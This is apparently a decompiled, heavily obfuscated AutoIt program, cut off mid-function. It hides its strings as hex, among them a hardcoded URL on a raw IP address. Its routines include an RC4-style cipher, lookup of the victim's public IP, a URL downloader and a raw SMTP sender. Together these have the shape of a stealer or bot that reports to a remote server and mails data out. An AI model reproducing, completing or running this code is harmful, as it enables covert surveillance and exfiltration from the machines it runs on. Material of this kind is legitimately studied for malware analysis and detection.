$SA04A7D03139= Fn0076("3439"), $SA4BA7F04107= Fn0076("3433"), $SA08B710242D= Fn0076("35"), $SA0EB7403142= Fn0076("353530"), $SA43B7601963= Fn0076("31"), $SA4CB7805F48= Fn0076("32"), $SA43B7A00A1C= Fn0076("31"), $SA46B7C00327= Fn0076("34"), $SA24B7E02404= Fn0076("323536"), $SA04C700203B= Fn0076("32"), $SA43C7204550= Fn0076("31"), $SA52C7403848= Fn0076("323536"), $SA01C760605A= Fn0076("32"), $SA36C7804E61= Fn0076("31"), $SA39C7A00E3E= Fn0076("38333838363038"), $SA2CC7C02436= Fn0076("3634"), $SA58C7E04E63= Fn0076("30"), $SA24D7004727= Fn0076("30"), $SA61D7203E30= Fn0076("3838"), $SA4839504F17= Fn0076("75696E743B75696E743B707472")
GLOBAL $SA4439700D0D= Fn0076("31"), $SA4439900504= Fn0076("32"), $SA0239B02708= Fn0076("33"), $SA25F9304D54= Fn0076("696E743B696E743B696E743B696E743B696E743B7074723B696E743B696E743B696E743B696E74"), $SA46F9500815= Fn0076("31"), $SA580A002712= Fn0076("75696E743B696E743B696E743B7074723B696E743B696E743B696E743B696E74"), $SA5E0A203C32= Fn0076("31"), $SA161D403622= Fn0076("4755494F6E4576656E744D6F6465"), $SA181D500E39= Fn0076("31"), $SA561D703136= Fn0076("687474703A2F2F3139342E39302E3232302E36362F6A6F6E6174616E2F312E617370"), $SA2D1D900B49= Fn0076("32303030"), $SA101DB05E55= Fn0076("4053637269707446756C6C50617468"), $SA4B1DC0162C= Fn0076("32"), $SA361DD02D3A= Fn0076("5C"), $SA141DF01950= Fn0076("42373838434232463034334132393838314543444544333543453133383737303139314531354233304531343534323531414645454132344432423143363835463532304243303745303846324339454437393032374637323737354642383437434243334131333533373846383042464345384439434139324345373834304441344533413332464130383742313935363542363139303434424338393943444532364641443835343638323041313641353933a3443343936453934324643303638423746423345343646323738334137363741424542303938363442313346304538464433394630394444373031334643363145384444303546353744303946393733453535453236343242444631434236393838314543343338363032303142303438453530354346373338424446434437423737323032394234423442314643303935444131303234364343414534333634434134343837313937333644334344443639434230314137354532413230333042433735363043434338373643444239303330383330374346424435423835433530373135413835384334433446303545393935354444304233323144343733364430353332393341413546414641384635323844333232434638363034453034423546393630393037364545323631324533383442363036444633393233333641374634464641304439463330334135333737373244423042353439324134414330393739324244343241333742463833453043383143413739394436443444303134313933444343434434333232363646383530393444443337333242463541453343453336334542363334383241464238324530343846383035373839374131383446393533333631394434374438323842423730374137354145444531373443443344443341384633354331373533354639393843323635433034304545363641354442384545463942434239344535303046433444333646423035434639423744343444323039343138464339454335324546344330303433443132394446423145344533303441393444464444423234424637353339303330413738303141444335383434373043313532413546384238323833424637384446464441443037303743303442353032343936394438393436333031424239433534434345373845303438313041313030394543363730383145453345374336354636383841454139433038373239373831453231434239374439303734303046423733453042414236334135383431374435393630314141453935463743303932373331394339333445343934443831414632463146303933344638314133303732323832323930444144304137433032444337393037423646454137384432443044373342333735373937413739363737373634393236464334373936423031304533344141373231313836383637433135343344373837423332444342413739444443334244383641383031453032364338413230304341413745323543463137413241443644333246394136453337353730413836304644374237463445444239453235353633")
GLOBAL $SA062D00373E= Fn0076("31"), $SA412D105F59= Fn0076("696E666F6C696E6B32303038"), $SA1F2D201E15= Fn0076("34"), $SA4B2D404A23= Fn0076("4B4A2773204F5453"), $SA3A2D501E04= Fn0076("313630"), $SA142D60450C= Fn0076("3830"), $SA332D700C3A= Fn0076("31"), $SA4B2D80334D= Fn0076("31"), $SA482D902C2F= Fn0076("2D32313338353730373532"), $SA3E2DA00018= Fn0076("3132353832393132"), $SA032DB0583F= Fn0076("33"), $SA172DD02D07= Fn0076("3130"), $SA032DE03800= Fn0076("3130"), $SA322DF04654= Fn0076("313430"), $SA563D001F2C= Fn0076("3230"), $SA553D101A27= Fn0076("32303438"), $SA403D205E0C= Fn0076("31"), $SA323D40442B= Fn0076("436F7079"), $SA113D506224= Fn0076("3130"), $SA433D600F00= Fn0076("3430"), $SA1B3D703746= Fn0076("3630"), $SA553D806333= Fn0076("3330"), $SA173DA02807= Fn0076("45786974"), $SA283DB0541B= Fn0076("3930"), $SA4E3DC0344A= Fn0076("3430"), $SA323DD01538= Fn0076("3630"), $SA223DE02E28= Fn0076("3330"), $SA1C3DF0472C= Fn0076("31"), $SA564D005B44= Fn0076("31"), $SA1C4D10475A= Fn0076("33"), $SA5D4D300F20= Fn0076("37"), $SA4A4D404205= Fn0076("34"), $SA3C4D505E27= Fn0076("32303038"), $SA214D605E46= Fn0076("37"), $SA114D70481A= Fn0076("34"), $SA474D802B28= Fn0076("32303038"), $SA204D903D1E= Fn0076("4572726F7220436F6E6E656374696E6720746F205365727665722021")


Func Fn0000($Arg00)
LOCAL $Var0000, $Var0001, $Var0002, $Var0003, $Var0004, $Var0005, $Var0006
$Var0001= STRINGSPLIT($Arg00, "")
IF MOD($Var0001[NUMBER("0")], NUMBER($SA3F80004835))<> NUMBER($SA4780104A55) THEN
SETERROR(NUMBER($SA2D80205F2E))
RETURN- NUMBER($SA2D80301F34)
ENDIF
FOR $Var0002= NUMBER($SA3180400113) TO $Var0001[NUMBER($SA1380505410)]
$Var0005= $Var0001[$Var0002]
$Var0002= $Var0002+ NUMBER($SA5880605C5F)
$Var0006= $Var0001[$Var0002]
$Var0003= DEC($Var0005& $Var0006)
IF @ERROR<> NUMBER($SA4980700A16) THEN
SETERROR(NUMBER($SA148080340C))
RETURN- NUMBER($SA1E80901F50)
ENDIF
$Var0004= CHR($Var0003)
$Var0000&= $Var0004
NEXT
RETURN $Var0000
ENDFUNC



Func Fn0001($Arg00, $ArgOpt01=- 1, $ArgOpt02=- 1)
IF $ArgOpt01=- NUMBER("1") OR $ArgOpt01= DEFAULT THEN $ArgOpt01=","
IF $ArgOpt02=- NUMBER($SA2C80F0262E) OR $ArgOpt02= DEFAULT THEN $ArgOpt02="."
LOCAL $Var0000= STRINGSPLIT($Arg00, $ArgOpt02), $Var0001= "", $Var0002, $Var0003= FALSE
IF UBOUND($Var0000)> NUMBER($SA5F90505C2B) THEN
$Var0002= STRINGREGEXP($Var0000[NUMBER($SA3A90600962)],"(\d+)(\d{3})", NUMBER($SA1290803D52))
$Var0003= TRUE
ELSE
$Var0002= STRINGREGEXP($Arg00,"(\d+)(\d{3})", NUMBER($SA6190A01343))
ENDIF
IF UBOUND($Var0002)= NUMBER($SA0090B03732) THEN
WHILE ISARRAY($Var0002)
$Var0001= $ArgOpt01& $Var0002[NUMBER($SA1790C04233)]& $Var0001
$Var0002= STRINGREGEXP($Var0002[NUMBER($SA5990D00120)],"(\d+)(\d{3})", NUMBER($SA4890F02C3F))
WEND
ENDIF
LOCAL $Var0004= STRINGLEN(STRINGREPLACE($Var0001, $ArgOpt01, ""))
IF $Var0003 AND $Var0001 THEN
RETURN STRINGTRIMRIGHT($Var0000[NUMBER($SA19A0100605)], $Var0004)& $Var0001& $ArgOpt02& $Var0000[NUMBER($SA60A0204101)]
ELSEIF $Var0001 THEN
RETURN STRINGTRIMRIGHT($Arg00, $Var0004)& $Var0001
ENDIF
RETURN SETERROR(NUMBER($SA44A0303B63), NUMBER($SA52A0403218), $Arg00)
ENDFUNC



Func Fn0002($Arg00, $Arg01, $Arg02, $ArgOpt03=- 1, $ArgOpt04=- 1)
IF $ArgOpt04=- NUMBER("1") OR $ArgOpt04= DEFAULT THEN
IF $ArgOpt03=- NUMBER($SA1DA0A00B49) OR $ArgOpt03= DEFAULT THEN
$ArgOpt03= NUMBER($SA0FA0B01819)
ELSE
$ArgOpt03= NUMBER($SA2FA0C04457)
ENDIF
LOCAL $Var0000= "", $Var0001= "", $Var0002= ""
WHILE STRINGLEN($Arg00)> NUMBER($SA51A0F02A32)
$Var0001= STRINGINSTR($Arg00, $Arg01, $ArgOpt03)
IF NOT $Var0001 THEN EXITLOOP
$Arg00= STRINGTRIMLEFT($Arg00,($Var0001+ STRINGLEN($Arg01))- NUMBER($SA19B0002C45))
$Var0002= STRINGINSTR($Arg00, $Arg02, $ArgOpt03)
IF NOT $Var0002 THEN EXITLOOP
$Var0000&= STRINGLEFT($Arg00, $Var0002- NUMBER($SA2BB0101A0F))& CHR(NUMBER($SA38B020093B))
$Arg00= STRINGTRIMLEFT($Arg00, $Var0002)
WEND
IF NOT $Var0000 THEN RETURN SETERROR(NUMBER($SA3AB030533B), NUMBER($SA46B0405F37), NUMBER($SA18B0505B24))
$Var0000= STRINGSPLIT(STRINGTRIMRIGHT($Var0000, NUMBER($SA2CB0603B33)), CHR(NUMBER($SA54B070435D)))
LOCAL $Arr0003[UBOUND($Var0000)- NUMBER($SA43B0904757)]
FOR $A3BB0A05750= NUMBER($SA5DB0B0443B) TO UBOUND($Var0000)- NUMBER($SA12B0C05F43)
$Arr0003[$A3BB0A05750- NUMBER($SA53B0D03336)]= $Var0000[$A3BB0A05750]
NEXT
RETURN $Arr0003
ELSE
IF $ArgOpt03= DEFAULT OR $ArgOpt03=- NUMBER($SA16B0E00536) THEN
$ArgOpt03="(?i)"
ELSE
$ArgOpt03= ""
ENDIF
LOCAL $Var0004= STRINGREGEXP($Arg00,"(?s)"& $ArgOpt03& $Arg01&"(.*?)"& $Arg02, NUMBER($SA16C0303D21))
IF ISARRAY($Var0004) THEN RETURN $Var0004
RETURN SETERROR(NUMBER($SA1DC040261B), NUMBER($SA2CC0504B3E), NUMBER($SA53C060554E))
ENDIF
ENDFUNC



Func Fn0003($Arg00, $Arg01, $Arg02, $ArgOpt03= 1)
IF $Arg00<> NUMBER("0") AND $Arg00<> NUMBER($SA37C0C01F49) THEN
SETERROR(NUMBER($SA0CC0D0622F))
RETURN ""
ELSEIF $Arg01= "" OR $Arg02= "" THEN
SETERROR(NUMBER($SA56C0E0110D))
RETURN ""
ELSE
IF NUMBER($ArgOpt03)<= NUMBER($SA3FC0F0525B) OR INT($ArgOpt03)<> $ArgOpt03 THEN $ArgOpt03= NUMBER($SA3CD0002747)
LOCAL $Var0000
LOCAL $Var0001
LOCAL $Var0002
LOCAL $Var0003
LOCAL $Arr0004[NUMBER($SA01D0601D04)][NUMBER($SA0BD0700936)]
LOCAL $Var0005
LOCAL $Var0006
LOCAL $Var0007
LOCAL $Var0008
LOCAL $Var0009
LOCAL $Var000A
LOCAL $Var000B
IF $Arg00= NUMBER($SA07D0F05550) THEN
FOR $A45E0003601= NUMBER($SA50E0100907) TO $ArgOpt03 STEP NUMBER($SA16E020543C)
$Var0002= ""
$Var0001= ""
$Var0000= ""
FOR $Var0002= NUMBER($SA27E0305B3E) TO STRINGLEN($Arg01)
IF $Var0001= STRINGLEN($Arg02) THEN
$Var0001= NUMBER($SA10E0405D5D)
ELSE
$Var0001+= NUMBER($SA0AE0502142)
ENDIF
$Var0000= $Var0000& CHR(BITXOR(ASC(STRINGMID($Arg01, $Var0002, NUMBER($SA42E060573C))), ASC(STRINGMID($Arg02, $Var0001, NUMBER($SA3DE070495B))), NUMBER($SA32E0805D2A)))
NEXT
$Arg01= $Var0000
$Var0005= ""
$Var0006= NUMBER($SA53E090472A)
$Var0007= ""
$Var0008= ""
$Var0009= ""
$Var000B= ""
$Var000A= ""
$Var0003= ""
$Arr0004= ""
LOCAL $Arr0004[NUMBER($SA14E0A01B11)][NUMBER($SA37E0B02630)]
FOR $Var0005= NUMBER($SA26E0C00952) TO NUMBER($SA55E0D01E31)
$Arr0004[$Var0005][NUMBER($SA0BE0E03B0E)]= ASC(STRINGMID($Arg02, MOD($Var0005, STRINGLEN($Arg02))+ NUMBER($SA25E0F05306), NUMBER($SA52F0001148)))
$Arr0004[$Var0005][NUMBER($SA30F010223D)]= $Var0005
NEXT
FOR $Var0005= NUMBER($SA07F0202133) TO NUMBER($SA22F0305552)
$Var0006= MOD(($Var0006+ $Arr0004[$Var0005][NUMBER($SA15F0400426)]+ $Arr0004[$Var0005][NUMBER($SA0BF0505926)]), NUMBER($SA1BF0606320))
$Var0003= $Arr0004[$Var0005][NUMBER($SA02F0702B12)]
$Arr0004[$Var0005][NUMBER($SA15F0803423)]= $Arr0004[$Var0006][NUMBER($SA07F0902E1B)]
$Arr0004[$Var0006][NUMBER($SA37F0A00A17)]= $Var0003
NEXT
FOR $Var0005= NUMBER($SA27F0B04013) TO STRINGLEN($Arg01)
$Var0007= MOD(($Var0007+ NUMBER($SA32F0C03853)), NUMBER($SA3BF0D00D35))
$Var0008= MOD(($Var0008+ $Arr0004[$Var0007][NUMBER($SA37F0E00C53)]), NUMBER($SA1CF0F01011))
$Var0009= $Arr0004[MOD(($Arr0004[$Var0007][NUMBER($SA5401000204)]+ $Arr0004[$Var0008][NUMBER($SA0801101F06)]), NUMBER($SA0201204363))][NUMBER($SA3B01304F5D)]
$Var000B= BITXOR(ASC(STRINGMID($Arg01, $Var0005, NUMBER($SA4C01402017))), $Var0009)
$Var000A&= HEX($Var000B, NUMBER($SA0C01505960))
NEXT
$Arg01= $Var000A
NEXT
ELSE
FOR $A45E0003601= NUMBER($SA4D01605B13) TO $ArgOpt03 STEP NUMBER($SA3E01704237)
$Var0006= NUMBER($SA280180315C)
$Var0007= ""
$Var0008= ""
$Var0009= ""
$Var000B= ""
$Var000A= ""
$Var0003= ""
$Arr0004= ""
LOCAL $Arr0004[NUMBER($SA5F01900B36)][NUMBER($SA3B01A0153C)]
FOR $Var0005= NUMBER($SA2F01B0200C) TO NUMBER($SA3901C0121E)
$Arr0004[$Var0005][NUMBER($SA2C01D04F4A)]= ASC(STRINGMID($Arg02, MOD($Var0005, STRINGLEN($Arg02))+ NUMBER($SA5601E00321), NUMBER($SA1D01F00829)))
$Arr0004[$Var0005][NUMBER($SA3611006120)]= $Var0005
NEXT
FOR $Var0005= NUMBER($SA3411104C39) TO NUMBER($SA3C11205E41)
$Var0006= MOD(($Var0006+ $Arr0004[$Var0005][NUMBER($SA3911300425)]+ $Arr0004[$Var0005][NUMBER("1")]), NUMBER($SA2311505D0B))
$Var0003= $Arr0004[$Var0005][NUMBER($SA1A1160332B)]
$Arr0004[$Var0005][NUMBER($SA0211703623)]= $Arr0004[$Var0006][NUMBER($SA4111801849)]
$Arr0004[$Var0006][NUMBER($SA5B11903950)]= $Var0003
NEXT
FOR $Var0005= NUMBER($SA4711A01309) TO STRINGLEN($Arg01) STEP NUMBER($SA3C11B0354E)
$Var0007= MOD(($Var0007+ NUMBER($SA4711C0582A)), NUMBER($SA1C11D01206))
$Var0008= MOD(($Var0008+ $Arr0004[$Var0007][NUMBER($SA5411E00030)]), NUMBER($SA5811F0345E))
$Var0009= $Arr0004[MOD(($Arr0004[$Var0007][NUMBER($SA3C21003F47)]+ $Arr0004[$Var0008][NUMBER($SA2321102717)]), NUMBER($SA1021201C63))][NUMBER($SA4521301A59)]
$Var000B= BITXOR(DEC(STRINGMID($Arg01, $Var0005, NUMBER($SA492140400A))), $Var0009)
$Var000A= $Var000A& CHR($Var000B)
NEXT
$Arg01= $Var000A
$Var0002= ""
$Var0001= ""
$Var0000= ""
FOR $Var0002= NUMBER($SA4E2150020B) TO STRINGLEN($Arg01)
IF $Var0001= STRINGLEN($Arg02) THEN
$Var0001= NUMBER($SA612160631F)
ELSE
$Var0001+= NUMBER($SA0A21702F60)
ENDIF
$Var0000&= CHR(BITXOR(ASC(STRINGMID($Arg01, $Var0002, NUMBER($SA202180510E))), ASC(STRINGMID($Arg02, $Var0001, NUMBER($SA1E21900F5C))), NUMBER($SA1521A01552)))
NEXT
$Arg01= $Var0000
NEXT
ENDIF
RETURN $Arg01
ENDIF
ENDFUNC



Func Fn0004($Arg00, $Arg01, $Arg02)
LOCAL $Var0000, $Var0001, $Var0002
IF $Arg00= "" OR(NOT ISSTRING($Arg00)) THEN
SETERROR(NUMBER("1"))
RETURN $Arg00
ELSEIF $Arg01= "" OR(NOT ISSTRING($Arg00)) THEN
SETERROR(NUMBER($SA0631200A52))
RETURN $Arg00
ELSE
$Var0000= STRINGLEN($Arg00)
IF(ABS($Arg02)> $Var0000) OR(NOT ISINT($Arg02)) THEN
SETERROR(NUMBER($SA0A31301B2E))
RETURN $Arg00
ENDIF
ENDIF
IF $Arg02= NUMBER($SA0D31401C55) THEN
RETURN $Arg01& $Arg00
ELSEIF $Arg02> NUMBER($SA033150384A) THEN
$Var0001= STRINGLEFT($Arg00, $Arg02)
$Var0002= STRINGRIGHT($Arg00, $Var0000- $Arg02)
RETURN $Var0001& $Arg01& $Var0002
ELSEIF $Arg02< NUMBER($SA0731600115) THEN
$Var0001= STRINGLEFT($Arg00, ABS($Var0000+ $Arg02))
$Var0002= STRINGRIGHT($Arg00, ABS($Arg02))
RETURN $Var0001& $Arg01& $Var0002
ENDIF
ENDFUNC



Func Fn0005($Arg00)
LOCAL $Var0000= NUMBER("0")
LOCAL $Var0001= NUMBER($SA1C31B01234)
LOCAL $Var0002= ""
LOCAL $Var0003
FOR $Var0000= NUMBER($SA0431E0634D) TO STRINGLEN($Arg00)
$Var0003= STRINGMID($Arg00, $Var0000, NUMBER($SA1031F06137))
SELECT
CASE $Var0001= NUMBER($SA1F41003747)
IF Fn0009($Var0003) THEN
$Var0003= STRINGUPPER($Var0003)
$Var0001= NUMBER($SA5641102716)
ENDIF
CASE NOT Fn0009($Var0003)
$Var0001= NUMBER($SA5541203724)
CASE ELSE
$Var0003= STRINGLOWER($Var0003)
ENDSELECT
$Var0002&= $Var0003
NEXT
RETURN($Var0002)
ENDFUNC



Func Fn0006($Arg00, $Arg01)
LOCAL $Var0000
SELECT
CASE NOT STRINGISINT($Arg01)
SETERROR(NUMBER("1"))
RETURN ""
CASE STRINGLEN($Arg00)< NUMBER($SA5141602D2C)
SETERROR(NUMBER($SA164170460E))
RETURN ""
CASE $Arg01<= NUMBER($SA0C41800B47)
SETERROR(NUMBER($SA414190062A))
RETURN ""
CASE ELSE
FOR $A3941A0013F= NUMBER($SA4341B02634) TO $Arg01
$Var0000&= $Arg00
NEXT
RETURN $Var0000
ENDSELECT
ENDFUNC



Func Fn0007($Arg00)
LOCAL $Var0000
LOCAL $Var0001
IF STRINGLEN($Arg00)>= NUMBER("1") THEN
FOR $Var0001= NUMBER($SA1241E0544F) TO STRINGLEN($Arg00)
$Var0000= STRINGMID($Arg00, $Var0001, NUMBER($SA0041F04354))& $Var0000
NEXT
RETURN $Var0000
ELSE
SETERROR(NUMBER($SA0651003129))
RETURN ""
ENDIF
ENDFUNC



Func Fn0008($Arg00)
LOCAL $Var0000, $Var0001, $Var0002, $Var0003, $Var0004
$Var0000= STRINGSPLIT($Arg00, "")
FOR $Var0001= NUMBER("1") TO $Var0000[NUMBER($SA435140504A)]
$Var0002= ASC($Var0000[$Var0001])
$Var0003= HEX($Var0002, NUMBER($SA1751504001))
$Var0004&= $Var0003
NEXT
RETURN $Var0004
ENDFUNC



Func Fn0009($Arg00)
LOCAL $Var0000= "abcdefghijklmnopqrstuvwxyz"
RETURN(STRINGINSTR($Var0000, $Arg00))
ENDFUNC



Func Fn000A()
LOCAL $Var0000, $Var0001
IF INETGET("http://checkip.dyndns.org/?rnd1="& RANDOM(NUMBER($SA0251B01818), NUMBER($SA5951C0562C))&"&rnd2="& RANDOM(NUMBER($SA5D51E00E3A), NUMBER($SA0451F01C52)), EXECUTE($SA0361005B48)&"\~ip.tmp") THEN
$Var0000= FILEREAD(EXECUTE($SA4D61205938)&"\~ip.tmp", FILEGETSIZE(EXECUTE($SA2A61405250)&"\~ip.tmp"))
FILEDELETE(EXECUTE($SA5261604A0F)&"\~ip.tmp")
$Var0000= STRINGTRIMLEFT($Var0000, STRINGINSTR($Var0000,":")+ NUMBER($SA0861902F63))
$Var0000= STRINGTRIMRIGHT($Var0000, STRINGLEN($Var0000)- STRINGINSTR($Var0000,"/")+ NUMBER($SA5E61B03C0E))
$Var0001= STRINGSPLIT($Var0000,".")
IF $Var0001[NUMBER($SA6161D02F55)]= NUMBER($SA6061E0203C) AND STRINGISDIGIT($Var0001[NUMBER($SA0561F00D37)]) AND STRINGISDIGIT($Var0001[NUMBER($SA2671003C3B)]) AND STRINGISDIGIT($Var0001[NUMBER($SA1971101507)]) AND STRINGISDIGIT($Var0001[NUMBER($SA457120144C)]) THEN
RETURN $Var0000
ENDIF
ENDIF
IF INETGET($SA2E71305007& RANDOM(NUMBER($SA0F71402F31), NUMBER($SA4271500661))&"&rnd2="& RANDOM(NUMBER($SA2671706063), NUMBER($SA2471801419)), EXECUTE($SA5C71905A2C)&"\~ip.tmp") THEN
$Var0000= FILEREAD(EXECUTE($SA0E71B01234)&"\~ip.tmp", FILEGETSIZE(EXECUTE($SA3B71D03760)&"\~ip.tmp"))
FILEDELETE(EXECUTE($SA2471F01542)&"\~ip.tmp")
$Var0000= STRINGTRIMLEFT($Var0000, STRINGINSTR($Var0000,"Your ip is")+ NUMBER($SA2581201F0D))
$Var0000= STRINGLEFT($Var0000, STRINGINSTR($Var0000," ")- NUMBER($SA0C81401702))
$Var0000= STRINGSTRIPWS($Var0000, NUMBER($SA0081505F63))
$Var0001= STRINGSPLIT($Var0000,".")
IF $Var0001[NUMBER($SA2D8170520E)]= NUMBER($SA3D81802133) AND STRINGISDIGIT($Var0001[NUMBER($SA5B8190491F)]) AND STRINGISDIGIT($Var0001[NUMBER($SA1081A05B1E)]) AND STRINGISDIGIT($Var0001[NUMBER("3")]) AND STRINGISDIGIT($Var0001[NUMBER($SA5F81C0222E)]) THEN
RETURN $Var0000
ENDIF
ENDIF
SETERROR(NUMBER($SA5B81D0013A))
RETURN- NUMBER($SA2A81E01F2B)
ENDFUNC



Func Fn000B($Arg00)
IF STRINGLEN($Arg00)<= NUMBER("0") THEN
RETURN ""
SETERROR(NUMBER($SA1191103A07))
ELSE
LOCAL $Var0000
LOCAL $Var0001
LOCAL $Var0002
FOR $Var0001= NUMBER($SA3891500825) TO STRINGLEN($Arg00)
$Var0002="0x"& HEX(ASC(STRINGMID($Arg00, $Var0001, NUMBER($SA3191701E31))), NUMBER($SA5A9180441E))
IF $Var0002< NUMBER($SA0C91905949) OR $Var0002= NUMBER($SA6091A0115B) OR $Var0002= NUMBER($SA5F91B0073B) OR $Var0002> NUMBER($SA4991C01232) THEN
$Var0000= $Var0000&"%"& STRINGRIGHT($Var0002, NUMBER($SA2291E05C22))
ELSE
$Var0000= $Var0000& CHR($Var0002)
ENDIF
NEXT
RETURN $Var0000
ENDIF
ENDFUNC



Func Fn000C($Arg00, $ArgOpt01= "")
IF STRINGLEFT($Arg00, NUMBER("7"))<>"http://" AND STRINGLEFT($Arg00, NUMBER($SA3EA130185F))<>"https://" THEN $Arg00="http://"& $Arg00
LOCAL $Var0000= DLLOPEN($SA51A1701A0F)
LOCAL $Var0001, $Var0002= ""
LOCAL $Var0003= DLLCALL($Var0000,"int","InternetOpen","str","AutoIt v3","int", NUMBER($SA4EB1004903),"int", NUMBER($SA02B120453B),"int", NUMBER($SA4DB1402512),"int", NUMBER($SA32B1604255))
IF @ERROR OR $Var0003[NUMBER($SA0AB1705258)]= NUMBER($SA12B1802532) THEN
DLLCLOSE($Var0000)
SETERROR(NUMBER($SA2EB1903262))
RETURN ""
ENDIF
LOCAL $Var0004= DLLCALL($Var0000,"int","InternetOpenUrl","int", $Var0003[NUMBER($SA2FB1E05229)],"str", $Arg00,"str", $ArgOpt01,"int", STRINGLEN($ArgOpt01),"int", NUMBER($SA17C1300E26),"int", NUMBER($SA5EC1504347))
IF @ERROR OR $Var0004[NUMBER($SA14C1600752)]= NUMBER($SA0BC1704D28) THEN
DLLCALL($Var0000,"int","InternetCloseHandle","int", $Var0003[NUMBER($SA5CC1B0100A)])
DLLCLOSE($Var0000)
SETERROR(NUMBER($SA26C1C00C61))
RETURN ""
ENDIF
LOCAL $Var0005= DLLSTRUCTCREATE($SA00C1E02E5F)
DLLSTRUCTSETDATA($Var0005, NUMBER($SA28C1F04E4A), NUMBER($SA55D1003734))
WHILE DLLSTRUCTGETDATA($Var0005, NUMBER($SA40D1103004))<> NUMBER($SA28D1205E14)
$Var0001= DLLCALL($Var0000,"int","InternetReadFile","int", $Var0004[NUMBER($SA09D1603D56)],"str", "","int", NUMBER($SA2FD1900920),"ptr", DLLSTRUCTGETPTR($Var0005))
$Var0002&= STRINGLEFT($Var0001[NUMBER("2")], DLLSTRUCTGETDATA($Var0005, NUMBER($SA5DD1C0064E)))
WEND
DLLCALL($Var0000,"int","InternetCloseHandle","int", $Var0004[NUMBER($SA53E1004619)])
DLLCALL($Var0000,"int","InternetCloseHandle","int", $Var0003[NUMBER($SA56E1401831)])
DLLCLOSE($Var0000)
RETURN $Var0002
ENDFUNC



Func Fn000D($Arg00, $Arg01, $Arg02)
LOCAL $Var0000= OPT("ExpandEnvStrings", NUMBER($SA45E1A02F4F))
LOCAL $Var0001= REGREAD($SA20E1C00519, "")
LOCAL $Var0002= RUN(STRINGREPLACE($Var0001,"%1", Fn000B($SA62E1F00148& $Arg00&"?subject="& $Arg01&"&body="& $Arg02)))
OPT($SA13F1203C4A, $Var0000)
RETURN $Var0002
ENDFUNC



Func Fn000E($Arg00, $Arg01, $Arg02, $Arg03, $ArgOpt04= "", $ArgOpt05= "", $ArgOpt06= "", $ArgOpt07= " ", $ArgOpt08= 0)
LOCAL $Var0000
LOCAL $Var0001
LOCAL $Var0002
LOCAL $Arr0003[NUMBER("6")]
LOCAL $Arr0004[NUMBER($SA0102205B41)]
IF $Arg00= "" OR $Arg02= "" OR $Arg03= "" OR $Arg01= "" OR STRINGLEN($Arg01)> NUMBER($SA5302306147) THEN
SETERROR(NUMBER($SA5C02401C05))
RETURN NUMBER($SA2A02503963)
ENDIF
IF $ArgOpt06= "" THEN $ArgOpt06= EXECUTE($SA2E02600817)
IF TCPSTARTUP()= NUMBER($SA0602703E10) THEN
SETERROR(NUMBER($SA4702802221))
RETURN NUMBER($SA100290111B)
ENDIF
STRINGREGEXP($Arg00,"(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)")
IF @EXTENDED THEN
$Var0001= $Arg00
ELSE
$Var0001= TCPNAMETOIP($Arg00)
ENDIF
IF $Var0001= "" THEN
TCPSHUTDOWN()
SETERROR(NUMBER($SA3B02B05330))
RETURN NUMBER($SA4B02C00E0F)
ENDIF
$Var0000= TCPCONNECT($Var0001, NUMBER($SA1802D05A43))
IF $Var0000=- NUMBER($SA5402E04F5C) THEN
TCPSHUTDOWN()
SETERROR(NUMBER($SA3E02F03B11))
RETURN(NUMBER($SA5812002136))
ENDIF
$Arr0003[NUMBER($SA4212101F34)]="HELO "& $ArgOpt06& EXECUTE($SA1B12304362)
IF STRINGLEFT($ArgOpt06, NUMBER($SA2412400D4B))="EHLO " THEN $Arr0003[NUMBER($SA2712606125)]= $ArgOpt06& EXECUTE($SA191270324C)
$Arr0004[NUMBER($SA1F12801E4E)]="250"
$Arr0003[NUMBER($SA1F12A04A58)]="MAIL FROM: <"& $Arg02&">"& EXECUTE($SA0012D02034)
$Arr0004[NUMBER($SA4912E01345)]="250"
$Arr0003[NUMBER($SA1022004C10)]="RCPT TO: <"& $Arg03&">"& EXECUTE($SA6222301329)
$Arr0004[NUMBER($SA6222402412)]="250"
$Arr0003[NUMBER($SA1B2260450B)]="DATA"& EXECUTE($SA5A2280625A)
$Arr0004[NUMBER($SA5822900941)]="354"
$Arr0003[NUMBER($SA2422B02240)]="From:"& $Arg01&"<"& $Arg02&">"& EXECUTE($SA6322F06005)& "To:"&"<"& $Arg03&">"& EXECUTE($SA1632304508)&"Subject:"& $ArgOpt04& EXECUTE($SA2332500B14)&"Mime-Version: 1.0"& EXECUTE($SA1E32704129)&"Content-Type: text/plain; charset=US-ASCII"& EXECUTE($SA0F3290134F)& EXECUTE($SA3B32A03D4A)
$Arr0004[NUMBER($SA6032B0490C)]= ""
$Arr0003[NUMBER($SA1932C03C5D)]= EXECUTE($SA5732D0431E)&"."& EXECUTE($SA4732F00B06)
$Arr0004[NUMBER($SA2042000C16)]="250"
IF Fn0010($Var0000, $Arr0003[NUMBER($SA2A42205409)], $Arr0004[NUMBER($SA2942304447)], $ArgOpt08,"220", $ArgOpt07) THEN
SETERROR(NUMBER($SA4E42501905))
RETURN NUMBER($SA5142605105)
ENDIF
FOR $Var0002= NUMBER($SA634270311C) TO UBOUND($Arr0003)- NUMBER($SA1842803F22)
IF Fn0010($Var0000, $Arr0003[$Var0002], $Arr0004[$Var0002], $ArgOpt08) THEN
SETERROR(NUMBER($SA3D4290064B)+ $Var0002)
RETURN NUMBER($SA0842A05A5B)
ENDIF
NEXT
FOR $Var0002= NUMBER($SA0242B0241F) TO UBOUND($ArgOpt05)- NUMBER($SA0F42C03D2D)
IF STRINGLEFT($ArgOpt05[$Var0002], NUMBER($SA4942D0231D))="." THEN $ArgOpt05[$Var0002]="."& $ArgOpt05[$Var0002]
IF Fn0010($Var0000, $ArgOpt05[$Var0002]& EXECUTE($SA0252003203), "", $ArgOpt08) THEN
SETERROR(NUMBER($SA0452100D26)+ $Var0002)
RETURN NUMBER($SA0552200633)
ENDIF
NEXT
$Var0002= UBOUND($Arr0003)- NUMBER($SA2652306138)
IF Fn0010($Var0000, $Arr0003[$Var0002], $Arr0004[$Var0002], $ArgOpt08) THEN
SETERROR(NUMBER($SA4952405C03))
RETURN NUMBER($SA4652503B01)
ENDIF
TCPCLOSESOCKET($Var0000)
TCPSHUTDOWN()
RETURN NUMBER($SA1A52603A0F)
ENDFUNC



Func Fn000F($Arg00, $ArgOpt01= 0)
LOCAL $Var0000= "SMTP trace"
LOCAL $Var0001= CONTROLGETTEXT($Var0000, "","Static1")
